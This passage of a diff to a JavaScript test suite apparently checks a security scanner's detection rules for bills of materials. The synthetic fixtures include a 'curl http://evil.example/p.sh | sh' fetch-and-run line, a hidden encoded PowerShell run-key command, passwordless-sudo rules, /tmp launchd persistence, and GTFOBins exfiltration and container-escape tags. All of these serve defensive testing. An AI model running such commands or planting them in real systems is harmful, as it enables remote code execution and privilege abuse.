- assert.strictEqual(findings[0].severity, "high");
2547
+ assert.strictEqual(findings.length, 0);
1622
2548
  });
1623
2549
 
1624
- it("should detect suspicious shell history commands (OBOM-LNX-004)", async () => {
2550
+ it("should not detect disabled Python cache for local path manifest sources (CI-023)", async () => {
1625
2551
  const rules = await loadRules(RULES_DIR);
1626
- const rule = rules.find((r) => r.id === "OBOM-LNX-004");
1627
- assert.ok(rule, "OBOM-LNX-004 rule should exist");
2552
+ const rule = rules.find((r) => r.id === "CI-023");
2553
+ assert.ok(rule, "CI-023 rule should exist");
1628
2554
 
1629
- const bom = makeBom([
1630
- {
1631
- type: "data",
1632
- name: "analyst",
1633
- version: "",
1634
- description: "curl http://evil.example/p.sh | sh",
1635
- purl: "pkg:swid/analyst-shell-history",
1636
- "bom-ref": "pkg:swid/analyst-shell-history",
1637
- properties: [
1638
- { name: "cdx:osquery:category", value: "shell_history_snapshot" },
1639
- { name: "history_file", value: "/home/analyst/.bash_history" },
1640
- ],
1641
- },
1642
- ]);
2555
+ const bom = makeBom(
2556
+ [
2557
+ {
2558
+ type: "library",
2559
+ name: "local-lib",
2560
+ version: "1.0.0",
2561
+ purl: "pkg:pypi/local-lib@1.0.0",
2562
+ "bom-ref": "pkg:pypi/local-lib@1.0.0",
2563
+ properties: [
2564
+ {
2565
+ name: "cdx:pypi:manifestSourceType",
2566
+ value: "path",
2567
+ },
2568
+ {
2569
+ name: "cdx:pypi:manifestSource",
2570
+ value: "../libs/local-lib",
2571
+ },
2572
+ ],
2573
+ },
2574
+ ],
2575
+ [],
2576
+ [
2577
+ {
2578
+ type: "application",
2579
+ name: "setup-python",
2580
+ version: "v5",
2581
+ purl: "pkg:github/actions/setup-python@v5",
2582
+ "bom-ref": "pkg:github/actions/setup-python@v5",
2583
+ properties: [
2584
+ {
2585
+ name: "cdx:github:action:uses",
2586
+ value: "actions/setup-python@v5",
2587
+ },
2588
+ { name: "cdx:github:action:disablesBuildCache", value: "true" },
2589
+ { name: "cdx:github:action:buildCacheEcosystem", value: "pypi" },
2590
+ ],
2591
+ },
2592
+ ],
2593
+ );
1643
2594
 
1644
2595
  const findings = await evaluateRule(rule, bom);
1645
- assert.ok(findings.length > 0, "Should detect suspicious shell history");
1646
- assert.strictEqual(findings[0].severity, "high");
2596
+ assert.strictEqual(findings.length, 0);
1647
2597
  });
1648
2598
 
1649
- it("should detect exposed docker daemon API (OBOM-LNX-005)", async () => {
2599
+ it("should detect disabled Cargo cache for git manifest sources (CI-024)", async () => {
1650
2600
  const rules = await loadRules(RULES_DIR);
1651
- const rule = rules.find((r) => r.id === "OBOM-LNX-005");
1652
- assert.ok(rule, "OBOM-LNX-005 rule should exist");
2601
+ const rule = rules.find((r) => r.id === "CI-024");
2602
+ assert.ok(rule, "CI-024 rule should exist");
1653
2603
 
1654
- const bom = makeBom([
1655
- makeComponent("dockerd", "2375", [
1656
- ["cdx:osquery:category", "listening_ports"],
1657
- ["address", "0.0.0.0"],
1658
- ["port", "2375"],
1659
- ["protocol", "6"],
1660
- ]),
1661
- ]);
2604
+ const bom = makeBom(
2605
+ [
2606
+ {
2607
+ type: "library",
2608
+ name: "git-crate",
2609
+ version: "git+https://github.com/acme/git-crate.git",
2610
+ purl: "pkg:cargo/git-crate@git+https://github.com/acme/git-crate.git",
2611
+ "bom-ref":
2612
+ "pkg:cargo/git-crate@git+https://github.com/acme/git-crate.git",
2613
+ properties: [
2614
+ {
2615
+ name: "cdx:cargo:git",
2616
+ value: "https://github.com/acme/git-crate.git",
2617
+ },
2618
+ ],
2619
+ },
2620
+ ],
2621
+ [],
2622
+ [
2623
+ {
2624
+ type: "application",
2625
+ name: "setup-rust",
2626
+ version: "v1",
2627
+ purl: "pkg:github/moonrepo/setup-rust@v1",
2628
+ "bom-ref": "pkg:github/moonrepo/setup-rust@v1",
2629
+ properties: [
2630
+ {
2631
+ name: "cdx:github:action:uses",
2632
+ value: "moonrepo/setup-rust@v1",
2633
+ },
2634
+ { name: "cdx:github:action:disablesBuildCache", value: "true" },
2635
+ { name: "cdx:github:action:buildCacheEcosystem", value: "cargo" },
2636
+ ],
2637
+ },
2638
+ ],
2639
+ );
1662
2640
 
1663
2641
  const findings = await evaluateRule(rule, bom);
1664
- assert.ok(findings.length > 0, "Should detect exposed docker daemon API");
1665
- assert.strictEqual(findings[0].severity, "critical");
2642
+ assert.ok(findings.length > 0, "Should detect disabled Cargo cache");
2643
+ assert.strictEqual(findings[0].severity, "medium");
1666
2644
  });
1667
2645
 
1668
- it("should detect setuid GTFOBins execution primitive (CTR-001)", async () => {
2646
+ it("should not detect disabled Cargo cache for local path manifest sources (CI-024)", async () => {
1669
2647
  const rules = await loadRules(RULES_DIR);
1670
- const rule = rules.find((r) => r.id === "CTR-001");
1671
- assert.ok(rule, "CTR-001 rule should exist");
2648
+ const rule = rules.find((r) => r.id === "CI-024");
2649
+ assert.ok(rule, "CI-024 rule should exist");
1672
2650
 
1673
- const bom = makeBom([
1674
- {
1675
- type: "file",
1676
- name: "bash",
1677
- version: "",
1678
- description: "",
1679
- purl: "pkg:generic/bash",
1680
- "bom-ref": "pkg:generic/bash",
1681
- properties: [
1682
- { name: "SrcFile", value: "/bin/bash" },
1683
- { name: "internal:has_setuid", value: "true" },
1684
- { name: "cdx:gtfobins:matched", value: "true" },
1685
- { name: "cdx:gtfobins:name", value: "bash" },
1686
- { name: "cdx:gtfobins:functions", value: "shell,command,upload" },
1687
- { name: "cdx:gtfobins:contexts", value: "unprivileged,sudo,suid" },
1688
- {
1689
- name: "cdx:gtfobins:riskTags",
1690
- value: "data-exfiltration,lateral-movement,privilege-escalation",
1691
- },
1692
- {
1693
- name: "cdx:gtfobins:reference",
1694
- value: "https://gtfobins.github.io/gtfobins/bash/",
1695
- },
1696
- ],
1697
- },
1698
- ]);
2651
+ const bom = makeBom(
2652
+ [
2653
+ {
2654
+ type: "library",
2655
+ name: "path-crate",
2656
+ version: "path+../path-crate",
2657
+ purl: "pkg:cargo/path-crate@path+../path-crate",
2658
+ "bom-ref": "pkg:cargo/path-crate@path+../path-crate",
2659
+ properties: [
2660
+ {
2661
+ name: "cdx:cargo:path",
2662
+ value: "../path-crate",
2663
+ },
2664
+ ],
2665
+ },
2666
+ ],
2667
+ [],
2668
+ [
2669
+ {
2670
+ type: "application",
2671
+ name: "setup-rust",
2672
+ version: "v1",
2673
+ purl: "pkg:github/moonrepo/setup-rust@v1",
2674
+ "bom-ref": "pkg:github/moonrepo/setup-rust@v1",
2675
+ properties: [
2676
+ {
2677
+ name: "cdx:github:action:uses",
2678
+ value: "moonrepo/setup-rust@v1",
2679
+ },
2680
+ { name: "cdx:github:action:disablesBuildCache", value: "true" },
2681
+ { name: "cdx:github:action:buildCacheEcosystem", value: "cargo" },
2682
+ ],
2683
+ },
2684
+ ],
2685
+ );
1699
2686
 
1700
2687
  const findings = await evaluateRule(rule, bom);
1701
- assert.ok(findings.length > 0, "Should detect setuid GTFOBins primitive");
1702
- assert.strictEqual(findings[0].severity, "critical");
2688
+ assert.strictEqual(findings.length, 0);
1703
2689
  });
1704
2690
 
1705
- it("should detect privileged container-escape helper (CTR-002)", async () => {
2691
+ it("should detect root authorized_keys without restrictions (OBOM-LNX-003)", async () => {
1706
2692
  const rules = await loadRules(RULES_DIR);
1707
- const rule = rules.find((r) => r.id === "CTR-002");
1708
- assert.ok(rule, "CTR-002 rule should exist");
2693
+ const rule = rules.find((r) => r.id === "OBOM-LNX-003");
2694
+ assert.ok(rule, "OBOM-LNX-003 rule should exist");
1709
2695
 
1710
2696
  const bom = makeBom([
1711
2697
  {
1712
- type: "file",
1713
- name: "docker",
1714
- version: "",
2698
+ type: "data",
2699
+ name: "root",
2700
+ version: "ssh-rsa",
1715
2701
  description: "",
1716
- purl: "pkg:generic/docker",
1717
- "bom-ref": "pkg:generic/docker",
2702
+ purl: "pkg:swid/root-authorized-keys",
2703
+ "bom-ref": "pkg:swid/root-authorized-keys",
1718
2704
  properties: [
1719
- { name: "SrcFile", value: "/usr/bin/docker" },
1720
- { name: "cdx:gtfobins:matched", value: "true" },
1721
- { name: "cdx:gtfobins:name", value: "docker" },
1722
- { name: "cdx:gtfobins:functions", value: "shell,command" },
1723
- {
1724
- name: "cdx:gtfobins:privilegedContexts",
1725
- value: "capabilities",
1726
- },
1727
- { name: "cdx:gtfobins:riskTags", value: "container-escape" },
2705
+ { name: "cdx:osquery:category", value: "authorized_keys_snapshot" },
2706
+ { name: "key_file", value: "/root/.ssh/authorized_keys" },
2707
+ { name: "options", value: "" },
1728
2708
  ],
1729
2709
  },
1730
2710
  ]);
1731
2711
 
1732
2712
  const findings = await evaluateRule(rule, bom);
1733
- assert.ok(findings.length > 0, "Should detect privileged escape helper");
1734
- assert.strictEqual(findings[0].severity, "critical");
2713
+ assert.ok(
2714
+ findings.length > 0,
2715
+ "Should detect unrestricted root authorized_keys entry",
2716
+ );
2717
+ assert.strictEqual(findings[0].severity, "medium");
1735
2718
  });
1736
2719
 
1737
- it("should detect privileged GTFOBins exfiltration primitive (CTR-004)", async () => {
2720
+ it("should detect degraded Windows Security Center posture (OBOM-WIN-002)", async () => {
1738
2721
  const rules = await loadRules(RULES_DIR);
1739
- const rule = rules.find((r) => r.id === "CTR-004");
1740
- assert.ok(rule, "CTR-004 rule should exist");
2722
+ const rule = rules.find((r) => r.id === "OBOM-WIN-002");
2723
+ assert.ok(rule, "OBOM-WIN-002 rule should exist");
1741
2724
 
1742
2725
  const bom = makeBom([
1743
- {
1744
- type: "file",
1745
- name: "bash",
1746
- version: "",
1747
- description: "",
1748
- purl: "pkg:generic/bash",
1749
- "bom-ref": "pkg:generic/bash",
1750
- properties: [
1751
- { name: "SrcFile", value: "/usr/bin/bash" },
1752
- { name: "internal:has_setgid", value: "true" },
1753
- { name: "cdx:gtfobins:matched", value: "true" },
1754
- { name: "cdx:gtfobins:name", value: "bash" },
1755
- { name: "cdx:gtfobins:functions", value: "shell,file-read,upload" },
1756
- { name: "cdx:gtfobins:privilegedContexts", value: "suid" },
1757
- {
1758
- name: "cdx:gtfobins:riskTags",
1759
- value: "data-exfiltration,privilege-escalation",
1760
- },
1761
- ],
1762
- },
2726
+ makeComponent("Poor", "Poor", [
2727
+ ["cdx:osquery:category", "windows_security_center"],
2728
+ ]),
1763
2729
  ]);
1764
2730
 
1765
2731
  const findings = await evaluateRule(rule, bom);
1766
- assert.ok(
1767
- findings.length > 0,
1768
- "Should detect privileged GTFOBins exfiltration helper",
1769
- );
2732
+ assert.ok(findings.length > 0, "Should detect unhealthy security center");
1770
2733
  assert.strictEqual(findings[0].severity, "high");
1771
2734
  });
1772
2735
 
1773
- it("should detect privileged GTFOBins library-load primitive (CTR-003)", async () => {
2736
+ it("should detect suspicious Windows run key command (OBOM-WIN-003)", async () => {
1774
2737
  const rules = await loadRules(RULES_DIR);
1775
- const rule = rules.find((r) => r.id === "CTR-003");
1776
- assert.ok(rule, "CTR-003 rule should exist");
2738
+ const rule = rules.find((r) => r.id === "OBOM-WIN-003");
2739
+ assert.ok(rule, "OBOM-WIN-003 rule should exist");
1777
2740
 
1778
2741
  const bom = makeBom([
1779
2742
  {
1780
- type: "file",
1781
- name: "bash",
2743
+ type: "data",
2744
+ name: "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
1782
2745
  version: "",
1783
- description: "",
1784
- purl: "pkg:generic/bash",
1785
- "bom-ref": "pkg:generic/bash",
2746
+ description:
2747
+ "powershell -enc SQBFAFgAIAAoAEkAbgB2AG8AawBlACkA -w hidden",
2748
+ purl: "pkg:swid/windows-run-key-updater",
2749
+ "bom-ref": "pkg:swid/windows-run-key-updater",
1786
2750
  properties: [
1787
- { name: "SrcFile", value: "/bin/bash" },
1788
- { name: "cdx:gtfobins:matched", value: "true" },
1789
- { name: "cdx:gtfobins:name", value: "bash" },
1790
- {
1791
- name: "cdx:gtfobins:functions",
1792
- value: "shell,library-load,privilege-escalation",
1793
- },
1794
- {
1795
- name: "cdx:gtfobins:privilegedContexts",
1796
- value: "sudo,suid",
1797
- },
2751
+ { name: "cdx:osquery:category", value: "windows_run_keys" },
1798
2752
  ],
1799
2753
  },
1800
2754
  ]);
1801
2755
 
1802
2756
  const findings = await evaluateRule(rule, bom);
1803
- assert.ok(
1804
- findings.length > 0,
1805
- "Should detect privileged GTFOBins library-load helper",
1806
- );
1807
- assert.strictEqual(findings[0].severity, "high");
2757
+ assert.ok(findings.length > 0, "Should detect suspicious run key command");
2758
+ assert.strictEqual(findings[0].severity, "critical");
1808
2759
  });
1809
2760
 
1810
- it("should detect mutable-path GTFOBins remote execution helper (CTR-005)", async () => {
2761
+ it("should detect weak macOS ALF posture (OBOM-MAC-001)", async () => {
1811
2762
  const rules = await loadRules(RULES_DIR);
1812
- const rule = rules.find((r) => r.id === "CTR-005");
1813
- assert.ok(rule, "CTR-005 rule should exist");
2763
+ const rule = rules.find((r) => r.id === "OBOM-MAC-001");
2764
+ assert.ok(rule, "OBOM-MAC-001 rule should exist");
1814
2765
 
1815
2766
  const bom = makeBom([
1816
- {
1817
- type: "file",
1818
- name: "bash",
1819
- version: "",
1820
- description: "",
1821
- purl: "pkg:generic/bash",
1822
- "bom-ref": "pkg:generic/bash",
1823
- properties: [
1824
- { name: "SrcFile", value: "/usr/local/bin/bash" },
1825
- { name: "cdx:gtfobins:matched", value: "true" },
1826
- { name: "cdx:gtfobins:name", value: "bash" },
1827
- { name: "cdx:gtfobins:functions", value: "shell,upload,download" },
1828
- {
1829
- name: "cdx:gtfobins:riskTags",
1830
- value: "data-exfiltration,lateral-movement",
1831
- },
1832
- ],
1833
- },
2767
+ makeComponent("alf", "0", [
2768
+ ["cdx:osquery:category", "alf"],
2769
+ ["stealth_enabled", "0"],
2770
+ ]),
1834
2771
  ]);
1835
2772
 
1836
2773
  const findings = await evaluateRule(rule, bom);
1837
- assert.ok(
1838
- findings.length > 0,
1839
- "Should detect mutable-path GTFOBins helper",
1840
- );
1841
- assert.strictEqual(findings[0].severity, "medium");
2774
+ assert.ok(findings.length > 0, "Should detect weak firewall posture");
2775
+ assert.strictEqual(findings[0].severity, "high");
1842
2776
  });
1843
2777
 
1844
- it("should detect dedicated offensive container toolkits (CTR-006)", async () => {
2778
+ it("should detect launchd temp-path persistence (OBOM-MAC-002)", async () => {
1845
2779
  const rules = await loadRules(RULES_DIR);
1846
- const rule = rules.find((r) => r.id === "CTR-006");
1847
- assert.ok(rule, "CTR-006 rule should exist");
2780
+ const rule = rules.find((r) => r.id === "OBOM-MAC-002");
2781
+ assert.ok(rule, "OBOM-MAC-002 rule should exist");
1848
2782
 
1849
2783
  const bom = makeBom([
1850
2784
  {
1851
- type: "file",
1852
- name: "deepce",
2785
+ type: "data",
2786
+ name: "com.bad.agent",
1853
2787
  version: "",
1854
2788
  description: "",
1855
- purl: "pkg:generic/deepce",
1856
- "bom-ref": "pkg:generic/deepce",
2789
+ purl: "pkg:swid/mac-launchd-bad-agent",
2790
+ "bom-ref": "pkg:swid/mac-launchd-bad-agent",
1857
2791
  properties: [
1858
- { name: "SrcFile", value: "/usr/local/bin/deepce" },
1859
- { name: "cdx:container:matched", value: "true" },
1860
- { name: "cdx:container:name", value: "deepce" },
1861
- { name: "cdx:container:offenseTools", value: "deepce" },
1862
- {
1863
- name: "cdx:container:riskTags",
1864
- value: "container-escape,credential-access,offensive-toolkit",
1865
- },
1866
- {
1867
- name: "cdx:container:attackTechniques",
1868
- value: "T1552.007,T1611,T1613",
1869
- },
2792
+ { name: "cdx:osquery:category", value: "launchd_services" },
2793
+ { name: "path", value: "/tmp/com.bad.agent.plist" },
2794
+ { name: "program", value: "/tmp/bad-agent" },
2795
+ { name: "run_at_load", value: "true" },
1870
2796
  ],
1871
2797
  },
1872
2798
  ]);
1873
2799
 
1874
2800
  const findings = await evaluateRule(rule, bom);
1875
- assert.ok(findings.length > 0, "Should detect offensive toolkit presence");
1876
- assert.strictEqual(findings[0].severity, "high");
2801
+ assert.ok(findings.length > 0, "Should detect suspicious launchd service");
2802
+ assert.strictEqual(findings[0].severity, "critical");
1877
2803
  });
1878
2804
 
1879
- it("should detect seccomp-sensitive namespace escape helpers (CTR-007)", async () => {
2805
+ it("should detect risky macOS ALF user path exception (OBOM-MAC-003)", async () => {
1880
2806
  const rules = await loadRules(RULES_DIR);
1881
- const rule = rules.find((r) => r.id === "CTR-007");
1882
- assert.ok(rule, "CTR-007 rule should exist");
2807
+ const rule = rules.find((r) => r.id === "OBOM-MAC-003");
2808
+ assert.ok(rule, "OBOM-MAC-003 rule should exist");
1883
2809
 
1884
2810
  const bom = makeBom([
1885
2811
  {
1886
- type: "file",
1887
- name: "nsenter",
1888
- version: "",
2812
+ type: "data",
2813
+ name: "/Users/alice/Downloads/remote-control.app",
2814
+ version: "1",
1889
2815
  description: "",
1890
- purl: "pkg:generic/nsenter",
1891
- "bom-ref": "pkg:generic/nsenter",
1892
- properties: [
1893
- { name: "SrcFile", value: "/usr/bin/nsenter" },
1894
- { name: "cdx:container:matched", value: "true" },
1895
- { name: "cdx:container:name", value: "nsenter" },
1896
- { name: "cdx:container:offenseTools", value: "cdk,deepce" },
1897
- {
1898
- name: "cdx:container:riskTags",
1899
- value: "container-escape,namespace-escape",
1900
- },
1901
- {
1902
- name: "cdx:container:seccompBlockedSyscalls",
1903
- value: "ptrace,setns,unshare",
1904
- },
1905
- { name: "cdx:container:seccompProfile", value: "docker-default" },
1906
- ],
2816
+ purl: "pkg:swid/mac-alf-exception",
2817
+ "bom-ref": "pkg:swid/mac-alf-exception",
2818
+ properties: [{ name: "cdx:osquery:category", value: "alf_exceptions" }],
1907
2819
  },
1908
2820
  ]);
1909
2821
 
1910
2822
  const findings = await evaluateRule(rule, bom);
1911
- assert.ok(
1912
- findings.length > 0,
1913
- "Should detect seccomp-sensitive escape helper",
1914
- );
2823
+ assert.ok(findings.length > 0, "Should detect risky ALF exception path");
1915
2824
  assert.strictEqual(findings[0].severity, "medium");
1916
2825
  });
1917
2826
 
1918
- it("should detect privileged listener exposed on all interfaces (OBOM-LNX-006)", async () => {
2827
+ it("should detect broad sudoers rule (OBOM-LNX-002)", async () => {
1919
2828
  const rules = await loadRules(RULES_DIR);
1920
- const rule = rules.find((r) => r.id === "OBOM-LNX-006");
1921
- assert.ok(rule, "OBOM-LNX-006 rule should exist");
2829
+ const rule = rules.find((r) => r.id === "OBOM-LNX-002");
2830
+ assert.ok(rule, "OBOM-LNX-002 rule should exist");
1922
2831
 
1923
2832
  const bom = makeBom([
1924
2833
  {
1925
- type: "application",
1926
- name: "cockpit-ws",
1927
- version: "9090",
2834
+ type: "data",
2835
+ name: "admin-policy",
2836
+ version: "",
2837
+ description: "admin ALL=(ALL) NOPASSWD:ALL",
2838
+ purl: "pkg:swid/admin-policy",
2839
+ "bom-ref": "pkg:swid/admin-policy",
2840
+ properties: [
2841
+ { name: "cdx:osquery:category", value: "sudoers_snapshot" },
2842
+ ],
2843
+ },
2844
+ ]);
2845
+
2846
+ const findings = await evaluateRule(rule, bom);
2847
+ assert.ok(findings.length > 0, "Should detect broad sudoers policy");
2848
+ assert.strictEqual(findings[0].severity, "high");
2849
+ });
2850
+
2851
+ it("should detect ALL=(ALL) ALL sudoers rule (OBOM-LNX-002)", async () => {
2852
+ const rules = await loadRules(RULES_DIR);
2853
+ const rule = rules.find((r) => r.id === "OBOM-LNX-002");
2854
+ assert.ok(rule, "OBOM-LNX-002 rule should exist");
2855
+
2856
+ const bom = makeBom([
2857
+ {
2858
+ type: "data",
2859
+ name: "legacy-admin-policy",
2860
+ version: "",
2861
+ description: "admin ALL=(ALL) ALL",
2862
+ purl: "pkg:swid/legacy-admin-policy",
2863
+ "bom-ref": "pkg:swid/legacy-admin-policy",
2864
+ properties: [
2865
+ { name: "cdx:osquery:category", value: "sudoers_snapshot" },
2866
+ ],
2867
+ },
2868
+ ]);
2869
+
2870
+ const findings = await evaluateRule(rule, bom);
2871
+ assert.ok(
2872
+ findings.length > 0,
2873
+ "Should detect ALL=(ALL) ALL sudoers policy",
2874
+ );
2875
+ assert.strictEqual(findings[0].severity, "high");
2876
+ });
2877
+
2878
+ it("should detect suspicious shell history commands (OBOM-LNX-004)", async () => {
2879
+ const rules = await loadRules(RULES_DIR);
2880
+ const rule = rules.find((r) => r.id === "OBOM-LNX-004");
2881
+ assert.ok(rule, "OBOM-LNX-004 rule should exist");
2882
+
2883
+ const bom = makeBom([
2884
+ {
2885
+ type: "data",
2886
+ name: "analyst",
2887
+ version: "",
2888
+ description: "curl http://evil.example/p.sh | sh",
2889
+ purl: "pkg:swid/analyst-shell-history",
2890
+ "bom-ref": "pkg:swid/analyst-shell-history",
2891
+ properties: [
2892
+ { name: "cdx:osquery:category", value: "shell_history_snapshot" },
2893
+ { name: "history_file", value: "/home/analyst/.bash_history" },
2894
+ ],
2895
+ },
2896
+ ]);
2897
+
2898
+ const findings = await evaluateRule(rule, bom);
2899
+ assert.ok(findings.length > 0, "Should detect suspicious shell history");
2900
+ assert.strictEqual(findings[0].severity, "high");
2901
+ });
2902
+
2903
+ it("should detect exposed docker daemon API (OBOM-LNX-005)", async () => {
2904
+ const rules = await loadRules(RULES_DIR);
2905
+ const rule = rules.find((r) => r.id === "OBOM-LNX-005");
2906
+ assert.ok(rule, "OBOM-LNX-005 rule should exist");
2907
+
2908
+ const bom = makeBom([
2909
+ makeComponent("dockerd", "2375", [
2910
+ ["cdx:osquery:category", "listening_ports"],
2911
+ ["address", "0.0.0.0"],
2912
+ ["port", "2375"],
2913
+ ["protocol", "6"],
2914
+ ]),
2915
+ ]);
2916
+
2917
+ const findings = await evaluateRule(rule, bom);
2918
+ assert.ok(findings.length > 0, "Should detect exposed docker daemon API");
2919
+ assert.strictEqual(findings[0].severity, "critical");
2920
+ });
2921
+
2922
+ it("should detect setuid GTFOBins execution primitive (CTR-001)", async () => {
2923
+ const rules = await loadRules(RULES_DIR);
2924
+ const rule = rules.find((r) => r.id === "CTR-001");
2925
+ assert.ok(rule, "CTR-001 rule should exist");
2926
+
2927
+ const bom = makeBom([
2928
+ {
2929
+ type: "file",
2930
+ name: "bash",
2931
+ version: "",
1928
2932
  description: "",
1929
- purl: "pkg:swid/cockpit-ws@9090",
1930
- "bom-ref": "pkg:swid/cockpit-ws@9090",
2933
+ purl: "pkg:generic/bash",
2934
+ "bom-ref": "pkg:generic/bash",
1931
2935
  properties: [
1932
- { name: "cdx:osquery:category", value: "privileged_listening_ports" },
1933
- { name: "account", value: "root" },
1934
- { name: "address", value: "0.0.0.0" },
1935
- { name: "port", value: "9090" },
1936
- { name: "path", value: "/usr/libexec/cockpit-ws" },
1937
- { name: "service_unit", value: "cockpit.socket" },
1938
- { name: "package_source_hint", value: "system-package-path" },
2936
+ { name: "SrcFile", value: "/bin/bash" },
2937
+ { name: "internal:has_setuid", value: "true" },
2938
+ { name: "cdx:gtfobins:matched", value: "true" },
2939
+ { name: "cdx:gtfobins:name", value: "bash" },
2940
+ { name: "cdx:gtfobins:functions", value: "shell,command,upload" },
2941
+ { name: "cdx:gtfobins:contexts", value: "unprivileged,sudo,suid" },
2942
+ {
2943
+ name: "cdx:gtfobins:riskTags",
2944
+ value: "data-exfiltration,lateral-movement,privilege-escalation",
2945
+ },
2946
+ {
2947
+ name: "cdx:gtfobins:reference",
2948
+ value: "https://gtfobins.github.io/gtfobins/bash/",
2949
+ },
1939
2950
  ],
1940
2951
  },
1941
2952
  ]);
1942
2953
 
1943
2954
  const findings = await evaluateRule(rule, bom);
1944
- assert.ok(findings.length > 0, "Should detect privileged listener risk");
2955
+ assert.ok(findings.length > 0, "Should detect setuid GTFOBins primitive");
2956
+ assert.strictEqual(findings[0].severity, "critical");
2957
+ });
2958
+
2959
+ it("should detect privileged container-escape helper (CTR-002)", async () => {
2960
+ const rules = await loadRules(RULES_DIR);
2961
+ const rule = rules.find((r) => r.id === "CTR-002");
2962
+ assert.ok(rule, "CTR-002 rule should exist");
2963
+
2964
+ const bom = makeBom([
2965
+ {
2966
+ type: "file",
2967
+ name: "docker",
2968
+ version: "",
2969
+ description: "",
2970
+ purl: "pkg:generic/docker",
2971
+ "bom-ref": "pkg:generic/docker",
2972
+ properties: [
2973
+ { name: "SrcFile", value: "/usr/bin/docker" },
2974
+ { name: "cdx:gtfobins:matched", value: "true" },
2975
+ { name: "cdx:gtfobins:name", value: "docker" },
2976
+ { name: "cdx:gtfobins:functions", value: "shell,command" },
2977
+ {
2978
+ name: "cdx:gtfobins:privilegedContexts",
2979
+ value: "capabilities",
2980
+ },
2981
+ { name: "cdx:gtfobins:riskTags", value: "container-escape" },
2982
+ ],
2983
+ },
2984
+ ]);
2985
+
2986
+ const findings = await evaluateRule(rule, bom);
2987
+ assert.ok(findings.length > 0, "Should detect privileged escape helper");
2988
+ assert.strictEqual(findings[0].severity, "critical");
2989
+ });
2990
+
2991
+ it("should detect privileged GTFOBins exfiltration primitive (CTR-004)", async () => {
2992
+ const rules = await loadRules(RULES_DIR);
2993
+ const rule = rules.find((r) => r.id === "CTR-004");
2994
+ assert.ok(rule, "CTR-004 rule should exist");
2995
+
2996
+ const bom = makeBom([
2997
+ {
2998
+ type: "file",
2999
+ name: "bash",
3000
+ version: "",
3001
+ description: "",
3002
+ purl: "pkg:generic/bash",
3003
+ "bom-ref": "pkg:generic/bash",
3004
+ properties: [
3005
+ { name: "SrcFile", value: "/usr/bin/bash" },
3006
+ { name: "internal:has_setgid", value: "true" },
3007
+ { name: "cdx:gtfobins:matched", value: "true" },
3008
+ { name: "cdx:gtfobins:name", value: "bash" },
3009
+ { name: "cdx:gtfobins:functions", value: "shell,file-read,upload" },
3010
+ { name: "cdx:gtfobins:privilegedContexts", value: "suid" },
3011
+ {
3012
+ name: "cdx:gtfobins:riskTags",
3013
+ value: "data-exfiltration,privilege-escalation",
3014
+ },
3015
+ ],
3016
+ },
3017
+ ]);
3018
+
3019
+ const findings = await evaluateRule(rule, bom);
3020
+ assert.ok(
3021
+ findings.length > 0,
3022
+ "Should detect privileged GTFOBins exfiltration helper",
3023
+ );
1945
3024
  assert.strictEqual(findings[0].severity, "high");
1946
3025
  });
1947
3026
 
1948
- it("should detect interactive sudo execution of package tooling (OBOM-LNX-008)", async () => {
3027
+ it("should detect privileged GTFOBins library-load primitive (CTR-003)", async () => {
1949
3028
  const rules = await loadRules(RULES_DIR);
1950
- const rule = rules.find((r) => r.id === "OBOM-LNX-008");
1951
- assert.ok(rule, "OBOM-LNX-008 rule should exist");
3029
+ const rule = rules.find((r) => r.id === "CTR-003");
3030
+ assert.ok(rule, "CTR-003 rule should exist");
1952
3031
 
1953
3032
  const bom = makeBom([
1954
3033
  {
1955
- type: "application",
1956
- name: "sudo",
1957
- version: "4242",
3034
+ type: "file",
3035
+ name: "bash",
3036
+ version: "",
1958
3037
  description: "",
1959
- purl: "pkg:swid/sudo@4242",
1960
- "bom-ref": "pkg:swid/sudo@4242",
3038
+ purl: "pkg:generic/bash",
3039
+ "bom-ref": "pkg:generic/bash",
1961
3040
  properties: [
1962
- { name: "cdx:osquery:category", value: "sudo_executions" },
1963
- { name: "auid", value: "1000" },
1964
- { name: "euid", value: "0" },
1965
- { name: "login_user", value: "analyst" },
1966
- { name: "effective_user", value: "root" },
1967
- { name: "path", value: "/usr/bin/sudo" },
3041
+ { name: "SrcFile", value: "/bin/bash" },
3042
+ { name: "cdx:gtfobins:matched", value: "true" },
3043
+ { name: "cdx:gtfobins:name", value: "bash" },
1968
3044
  {
1969
- name: "cmdline",
1970
- value: "sudo pkcon refresh force",
3045
+ name: "cdx:gtfobins:functions",
3046
+ value: "shell,library-load,privilege-escalation",
3047
+ },
3048
+ {
3049
+ name: "cdx:gtfobins:privilegedContexts",
3050
+ value: "sudo,suid",
1971
3051
  },
1972
- { name: "parent_cmdline", value: "/bin/bash" },
1973
- { name: "time", value: "1714212000" },
1974
3052
  ],
1975
3053
  },
1976
3054
  ]);
1977
3055
 
1978
3056
  const findings = await evaluateRule(rule, bom);
1979
3057
  assert.ok(
1980
- findings.length > 0,
1981
- "Should detect interactive privileged package tooling",
3058
+ findings.length > 0,
3059
+ "Should detect privileged GTFOBins library-load helper",
3060
+ );
3061
+ assert.strictEqual(findings[0].severity, "high");
3062
+ });
3063
+
3064
+ it("should detect mutable-path GTFOBins remote execution helper (CTR-005)", async () => {
3065
+ const rules = await loadRules(RULES_DIR);
3066
+ const rule = rules.find((r) => r.id === "CTR-005");
3067
+ assert.ok(rule, "CTR-005 rule should exist");
3068
+
3069
+ const bom = makeBom([
3070
+ {
3071
+ type: "file",
3072
+ name: "bash",
3073
+ version: "",
3074
+ description: "",
3075
+ purl: "pkg:generic/bash",
3076
+ "bom-ref": "pkg:generic/bash",
3077
+ properties: [
3078
+ { name: "SrcFile", value: "/usr/local/bin/bash" },
3079
+ { name: "cdx:gtfobins:matched", value: "true" },
3080
+ { name: "cdx:gtfobins:name", value: "bash" },
3081
+ { name: "cdx:gtfobins:functions", value: "shell,upload,download" },
3082
+ {
3083
+ name: "cdx:gtfobins:riskTags",
3084
+ value: "data-exfiltration,lateral-movement",
3085
+ },
3086
+ ],
3087
+ },
3088
+ ]);
3089
+
3090
+ const findings = await evaluateRule(rule, bom);
3091
+ assert.ok(
3092
+ findings.length > 0,
3093
+ "Should detect mutable-path GTFOBins helper",
3094
+ );
3095
+ assert.strictEqual(findings[0].severity, "medium");
3096
+ });
3097
+
3098
+ it("should detect dedicated offensive container toolkits (CTR-006)", async () => {
3099
+ const rules = await loadRules(RULES_DIR);
3100
+ const rule = rules.find((r) => r.id === "CTR-006");
3101
+ assert.ok(rule, "CTR-006 rule should exist");
3102
+
3103
+ const bom = makeBom([
3104
+ {
3105
